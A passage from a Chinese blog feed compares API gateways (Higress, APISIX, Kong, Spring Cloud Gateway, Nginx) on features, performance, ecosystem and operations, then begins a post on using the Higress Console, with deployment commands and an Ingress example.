&lt;th&gt;SCG&lt;/th&gt;
&lt;th&gt;Nginx&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;限流&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;⚠️ 需模块&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;熔断&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;重试&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;⚠️ 有限&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;超时&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;灰度发布&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;⚠️ 需配置&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;蓝绿部署&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;⚠️ 需配置&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;流量镜像&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;⚠️ 需模块&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;安全认证&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;功能&lt;/th&gt;
&lt;th&gt;Higress&lt;/th&gt;
&lt;th&gt;APISIX&lt;/th&gt;
&lt;th&gt;Kong&lt;/th&gt;
&lt;th&gt;SCG&lt;/th&gt;
&lt;th&gt;Nginx&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;JWT&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;⚠️ 需模块&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OAuth2&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;⚠️ 需模块&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;API Key&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;⚠️ 需配置&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CORS&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;⚠️ 需配置&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WAF&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;⚠️ 需集成&lt;/td&gt;
&lt;td&gt;⚠️ 需 ModSecurity&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;mTLS&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IP 黑白名单&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;可观测性&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;功能&lt;/th&gt;
&lt;th&gt;Higress&lt;/th&gt;
&lt;th&gt;APISIX&lt;/th&gt;
&lt;th&gt;Kong&lt;/th&gt;
&lt;th&gt;SCG&lt;/th&gt;
&lt;th&gt;Nginx&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Metrics&lt;/td&gt;
&lt;td&gt;✅ Prometheus&lt;/td&gt;
&lt;td&gt;✅ Prometheus&lt;/td&gt;
&lt;td&gt;✅ Prometheus&lt;/td&gt;
&lt;td&gt;✅ Micrometer&lt;/td&gt;
&lt;td&gt;⚠️ 需模块&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tracing&lt;/td&gt;
&lt;td&gt;✅ Jaeger/SkyWalking&lt;/td&gt;
&lt;td&gt;✅ Jaeger/Zipkin&lt;/td&gt;
&lt;td&gt;✅ Jaeger/Zipkin&lt;/td&gt;
&lt;td&gt;✅ Sleuth&lt;/td&gt;
&lt;td&gt;⚠️ 需模块&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;访问日志&lt;/td&gt;
&lt;td&gt;✅ JSON&lt;/td&gt;
&lt;td&gt;✅ JSON&lt;/td&gt;
&lt;td&gt;✅ JSON&lt;/td&gt;
&lt;td&gt;✅ Logback&lt;/td&gt;
&lt;td&gt;✅ 文本&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;健康检查&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;扩展能力&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;功能&lt;/th&gt;
&lt;th&gt;Higress&lt;/th&gt;
&lt;th&gt;APISIX&lt;/th&gt;
&lt;th&gt;Kong&lt;/th&gt;
&lt;th&gt;SCG&lt;/th&gt;
&lt;th&gt;Nginx&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;扩展语言&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Wasm (Go/Rust/AssemblyScript)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Lua&lt;/td&gt;
&lt;td&gt;Lua / Go / JS&lt;/td&gt;
&lt;td&gt;Java&lt;/td&gt;
&lt;td&gt;C / Lua&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;热更新&lt;/td&gt;
&lt;td&gt;✅ 不停机&lt;/td&gt;
&lt;td&gt;✅ 不停机&lt;/td&gt;
&lt;td&gt;✅ 不停机&lt;/td&gt;
&lt;td&gt;❌ 需重启&lt;/td&gt;
&lt;td&gt;⚠️ reload&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;沙箱隔离&lt;/td&gt;
&lt;td&gt;✅ 强隔离&lt;/td&gt;
&lt;td&gt;⚠️ 弱隔离&lt;/td&gt;
&lt;td&gt;⚠️ 弱隔离&lt;/td&gt;
&lt;td&gt;❌ 无隔离&lt;/td&gt;
&lt;td&gt;❌ 无隔离&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;插件市场&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;自定义插件难度&lt;/td&gt;
&lt;td&gt;⭐⭐⭐（Go 友好）&lt;/td&gt;
&lt;td&gt;⭐⭐（Lua 简单）&lt;/td&gt;
&lt;td&gt;⭐⭐（Lua 简单）&lt;/td&gt;
&lt;td&gt;⭐（Java 最易）&lt;/td&gt;
&lt;td&gt;⭐⭐⭐⭐（C 难）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;性能对比&lt;/h2&gt;
&lt;h3&gt;基准测试（QPS，简单路由）&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;网关&lt;/th&gt;
&lt;th&gt;QPS&lt;/th&gt;
&lt;th&gt;P99 延迟&lt;/th&gt;
&lt;th&gt;内存占用&lt;/th&gt;
&lt;th&gt;CPU 占用&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Nginx&lt;/td&gt;
&lt;td&gt;~120,000&lt;/td&gt;
&lt;td&gt;~2ms&lt;/td&gt;
&lt;td&gt;~50MB&lt;/td&gt;
&lt;td&gt;~30%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;APISIX&lt;/td&gt;
&lt;td&gt;~110,000&lt;/td&gt;
&lt;td&gt;~3ms&lt;/td&gt;
&lt;td&gt;~100MB&lt;/td&gt;
&lt;td&gt;~40%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Higress&lt;/td&gt;
&lt;td&gt;~100,000&lt;/td&gt;
&lt;td&gt;~3ms&lt;/td&gt;
&lt;td&gt;~150MB&lt;/td&gt;
&lt;td&gt;~45%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kong&lt;/td&gt;
&lt;td&gt;~80,000&lt;/td&gt;
&lt;td&gt;~5ms&lt;/td&gt;
&lt;td&gt;~200MB&lt;/td&gt;
&lt;td&gt;~50%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SCG&lt;/td&gt;
&lt;td&gt;~30,000&lt;/td&gt;
&lt;td&gt;~15ms&lt;/td&gt;
&lt;td&gt;~500MB&lt;/td&gt;
&lt;td&gt;~60%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;测试环境：4C8G，1000 并发，简单路由（无插件）
实际性能取决于配置复杂度、插件数量、上游延迟&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;性能分析&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Nginx/APISIX/Higress：
- C/C++ 内核，事件驱动，零拷贝
- 单进程可处理数万连接
- 内存占用低

Kong：
- Nginx + LuaJIT，性能接近原生
- Lua 插件有额外开销
- 数据库依赖（DB-less 模式更快）

SCG：
- Java（Netty），JVM 开销
- 异步非阻塞，但 GC 影响延迟
- 内存占用高（JVM 堆）
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;生态对比&lt;/h2&gt;
&lt;h3&gt;社区活跃度&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;项目&lt;/th&gt;
&lt;th&gt;GitHub Stars&lt;/th&gt;
&lt;th&gt;Contributors&lt;/th&gt;
&lt;th&gt;社区规模&lt;/th&gt;
&lt;th&gt;商业支持&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Higress&lt;/td&gt;
&lt;td&gt;~5k&lt;/td&gt;
&lt;td&gt;~100&lt;/td&gt;
&lt;td&gt;增长中&lt;/td&gt;
&lt;td&gt;阿里云&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;APISIX&lt;/td&gt;
&lt;td&gt;~15k&lt;/td&gt;
&lt;td&gt;~500&lt;/td&gt;
&lt;td&gt;活跃&lt;/td&gt;
&lt;td&gt;API7.ai&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kong&lt;/td&gt;
&lt;td&gt;~40k&lt;/td&gt;
&lt;td&gt;~300&lt;/td&gt;
&lt;td&gt;成熟&lt;/td&gt;
&lt;td&gt;Kong Inc.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SCG&lt;/td&gt;
&lt;td&gt;Spring 生态&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;庞大&lt;/td&gt;
&lt;td&gt;VMware&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Nginx&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;最成熟&lt;/td&gt;
&lt;td&gt;F5&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;插件生态&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;项目&lt;/th&gt;
&lt;th&gt;官方插件&lt;/th&gt;
&lt;th&gt;社区插件&lt;/th&gt;
&lt;th&gt;插件语言&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Higress&lt;/td&gt;
&lt;td&gt;~30&lt;/td&gt;
&lt;td&gt;增长中&lt;/td&gt;
&lt;td&gt;Wasm (Go/Rust)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;APISIX&lt;/td&gt;
&lt;td&gt;~80&lt;/td&gt;
&lt;td&gt;~20&lt;/td&gt;
&lt;td&gt;Lua&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kong&lt;/td&gt;
&lt;td&gt;~50（OSS）/ ~100（企业）&lt;/td&gt;
&lt;td&gt;~30&lt;/td&gt;
&lt;td&gt;Lua / Go / JS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SCG&lt;/td&gt;
&lt;td&gt;Spring 生态&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;Java&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Nginx&lt;/td&gt;
&lt;td&gt;核心模块&lt;/td&gt;
&lt;td&gt;第三方模块&lt;/td&gt;
&lt;td&gt;C / Lua&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;运维对比&lt;/h2&gt;
&lt;h3&gt;部署复杂度&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;项目&lt;/th&gt;
&lt;th&gt;最小部署&lt;/th&gt;
&lt;th&gt;生产部署&lt;/th&gt;
&lt;th&gt;依赖组件&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Higress&lt;/td&gt;
&lt;td&gt;K8s + Helm&lt;/td&gt;
&lt;td&gt;K8s 集群&lt;/td&gt;
&lt;td&gt;K8s&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;APISIX&lt;/td&gt;
&lt;td&gt;Docker / K8s&lt;/td&gt;
&lt;td&gt;K8s + etcd&lt;/td&gt;
&lt;td&gt;etcd&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kong&lt;/td&gt;
&lt;td&gt;Docker / K8s&lt;/td&gt;
&lt;td&gt;K8s + PostgreSQL&lt;/td&gt;
&lt;td&gt;PostgreSQL（或 DB-less）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SCG&lt;/td&gt;
&lt;td&gt;Spring Boot App&lt;/td&gt;
&lt;td&gt;K8s / VM&lt;/td&gt;
&lt;td&gt;JVM&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Nginx&lt;/td&gt;
&lt;td&gt;二进制 / Docker&lt;/td&gt;
&lt;td&gt;LB + 多实例&lt;/td&gt;
&lt;td&gt;无&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;配置管理&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;项目&lt;/th&gt;
&lt;th&gt;配置方式&lt;/th&gt;
&lt;th&gt;动态生效&lt;/th&gt;
&lt;th&gt;配置存储&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Higress&lt;/td&gt;
&lt;td&gt;K8s CRD&lt;/td&gt;
&lt;td&gt;✅ 秒级&lt;/td&gt;
&lt;td&gt;etcd（K8s）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;APISIX&lt;/td&gt;
&lt;td&gt;Admin API / YAML&lt;/td&gt;
&lt;td&gt;✅ 秒级&lt;/td&gt;
&lt;td&gt;etcd&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kong&lt;/td&gt;
&lt;td&gt;Admin API / YAML&lt;/td&gt;
&lt;td&gt;✅ 秒级&lt;/td&gt;
&lt;td&gt;PostgreSQL / 内存&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SCG&lt;/td&gt;
&lt;td&gt;YAML / Java Config&lt;/td&gt;
&lt;td&gt;❌ 需重启&lt;/td&gt;
&lt;td&gt;文件 / 配置中心&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Nginx&lt;/td&gt;
&lt;td&gt;nginx.conf&lt;/td&gt;
&lt;td&gt;⚠️ reload&lt;/td&gt;
&lt;td&gt;文件&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;学习曲线&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;项目&lt;/th&gt;
&lt;th&gt;入门难度&lt;/th&gt;
&lt;th&gt;精通难度&lt;/th&gt;
&lt;th&gt;适合人群&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Higress&lt;/td&gt;
&lt;td&gt;⭐⭐⭐&lt;/td&gt;
&lt;td&gt;⭐⭐⭐⭐&lt;/td&gt;
&lt;td&gt;K8s 用户、Go 开发者&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;APISIX&lt;/td&gt;
&lt;td&gt;⭐⭐&lt;/td&gt;
&lt;td&gt;⭐⭐⭐&lt;/td&gt;
&lt;td&gt;运维、后端开发&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kong&lt;/td&gt;
&lt;td&gt;⭐⭐&lt;/td&gt;
&lt;td&gt;⭐⭐⭐&lt;/td&gt;
&lt;td&gt;运维、后端开发&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SCG&lt;/td&gt;
&lt;td&gt;⭐（Java 开发者）&lt;/td&gt;
&lt;td&gt;⭐⭐⭐&lt;/td&gt;
&lt;td&gt;Spring 生态用户&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Nginx&lt;/td&gt;
&lt;td&gt;⭐⭐&lt;/td&gt;
&lt;td&gt;⭐⭐⭐⭐⭐&lt;/td&gt;
&lt;td&gt;运维、网络工程师&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;选型建议&lt;/h2&gt;
&lt;h3&gt;按场景选择&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;场景&lt;/th&gt;
&lt;th&gt;推荐网关&lt;/th&gt;
&lt;th&gt;理由&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;K8s 云原生&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Higress / APISIX&lt;/td&gt;
&lt;td&gt;K8s 原生，CRD 配置，动态生效&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Spring Cloud 生态&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Spring Cloud Gateway&lt;/td&gt;
&lt;td&gt;与 Spring 生态无缝集成&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;多协议代理&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;APISIX&lt;/td&gt;
&lt;td&gt;HTTP/gRPC/TCP/UDP/MQTT 全支持&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;企业级功能&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Kong（企业版）&lt;/td&gt;
&lt;td&gt;RBAC/审计/开发者门户/商业支持&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;极致性能&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Nginx / APISIX&lt;/td&gt;
&lt;td&gt;C/LuaJIT 内核，性能最高&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wasm 插件开发&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Higress&lt;/td&gt;
&lt;td&gt;多语言（Go/Rust），沙箱隔离&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;AI 网关&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Higress&lt;/td&gt;
&lt;td&gt;Token 限流、Prompt 改写、多模型路由&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;传统架构&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Nginx&lt;/td&gt;
&lt;td&gt;简单、稳定、成熟&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;快速上手&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;APISIX / Kong&lt;/td&gt;
&lt;td&gt;文档丰富，社区活跃&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;按团队技术栈&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;团队技术栈&lt;/th&gt;
&lt;th&gt;推荐网关&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Java / Spring&lt;/td&gt;
&lt;td&gt;Spring Cloud Gateway&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Go&lt;/td&gt;
&lt;td&gt;Higress（Wasm 插件用 Go）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lua&lt;/td&gt;
&lt;td&gt;APISIX / Kong&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rust&lt;/td&gt;
&lt;td&gt;Higress（Wasm 插件用 Rust）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;运维为主&lt;/td&gt;
&lt;td&gt;Nginx / APISIX&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;K8s 原生&lt;/td&gt;
&lt;td&gt;Higress / APISIX&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;迁移路径&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Nginx → APISIX / Higress
- 配置相似（Nginx 语法）
- 插件扩展（Lua → Wasm）
- 动态配置（reload → 热更新）

Spring Cloud Gateway → Higress
- 路由配置迁移（YAML → CRD）
- Filter 迁移（Java → Wasm）
- 服务发现迁移（Eureka → K8s/Nacos）

Kong → Higress
- 插件迁移（Lua → Wasm）
- 配置迁移（Admin API → CRD）
- 数据库移除（PostgreSQL → etcd）
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;strong&gt;快速复习清单&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;内核对比&lt;/strong&gt;：Higress（Envoy C++）、APISIX/Kong（Nginx + LuaJIT）、SCG（Java Netty）、Nginx（C）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;性能排序&lt;/strong&gt;：Nginx ≈ APISIX ≈ Higress &amp;gt; Kong &amp;gt; SCG&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;扩展方式&lt;/strong&gt;：Higress（Wasm 多语言）、APISIX/Kong（Lua）、SCG（Java）、Nginx（C/Lua）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;云原生&lt;/strong&gt;：Higress/APISIX（K8s 原生）、Kong（K8s Ingress）、SCG（需适配）、Nginx（传统）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;动态配置&lt;/strong&gt;：Higress/APISIX/Kong（秒级热更新）、SCG（需重启）、Nginx（reload）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;选型关键&lt;/strong&gt;：技术栈（Java/Go/Lua）、场景（K8s/AI/多协议）、团队能力、生态需求&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AI 网关&lt;/strong&gt;：Higress 领先（Token 限流、Prompt 改写、多模型路由）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;企业级&lt;/strong&gt;：Kong 企业版功能最全（RBAC/审计/开发者门户）&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/higress-roadmap-14-best-practices/&quot;&gt;生产最佳实践&lt;/a&gt; 将讲解高可用部署、性能调优、安全加固、CI/CD、多集群管理等生产级实践。&lt;/p&gt;
&lt;p&gt;返回 &lt;a href=&quot;/blog/posts/higress-roadmap-00-overview/&quot;&gt;Higress 学习路线总览&lt;/a&gt; | &lt;a href=&quot;/blog/higress-roadmap/&quot;&gt;合集页&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>Higress Console 与运维</title><link>http://117.72.32.87/blog/posts/higress-roadmap-12-console-ops/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/higress-roadmap-12-console-ops/</guid><description>详解 Higress Console 使用、配置管理、版本升级、监控告警、故障排查、日常运维操作。</description><pubDate>Thu, 17 Sep 2026 08:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
Higress Console 是官方提供的 Web 管理界面，覆盖路由、服务、插件、监控等全功能配置。本文讲解 Console 使用和日常运维操作。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;Higress Console 概览&lt;/h2&gt;
&lt;h3&gt;访问方式&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# K8s 部署：port-forward
kubectl port-forward svc/higress-console 8001:8001 -n higress-system
open http://localhost:8001

# 生产环境：通过 Ingress 暴露
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: higress-console
  namespace: higress-system
spec:
  ingressClassName: higress
  rules:
    - host: console.higress.example.com
      http:
        paths:
          - path: /
            pathType: Prefix
            backend:
              service:
                name: higress-console
                port:
                  number: 8001

# 默认账号：admin / admin（首次登录强制修改）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;功能模块&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;模块&lt;/th&gt;
&lt;th&gt;功能&lt;/th&gt;
&lt;th&gt;对应 CRD&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;概览&lt;/td&gt;
&lt;td&gt;网关状态、QPS、延迟、错误率&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;路由管理&lt;/td&gt;
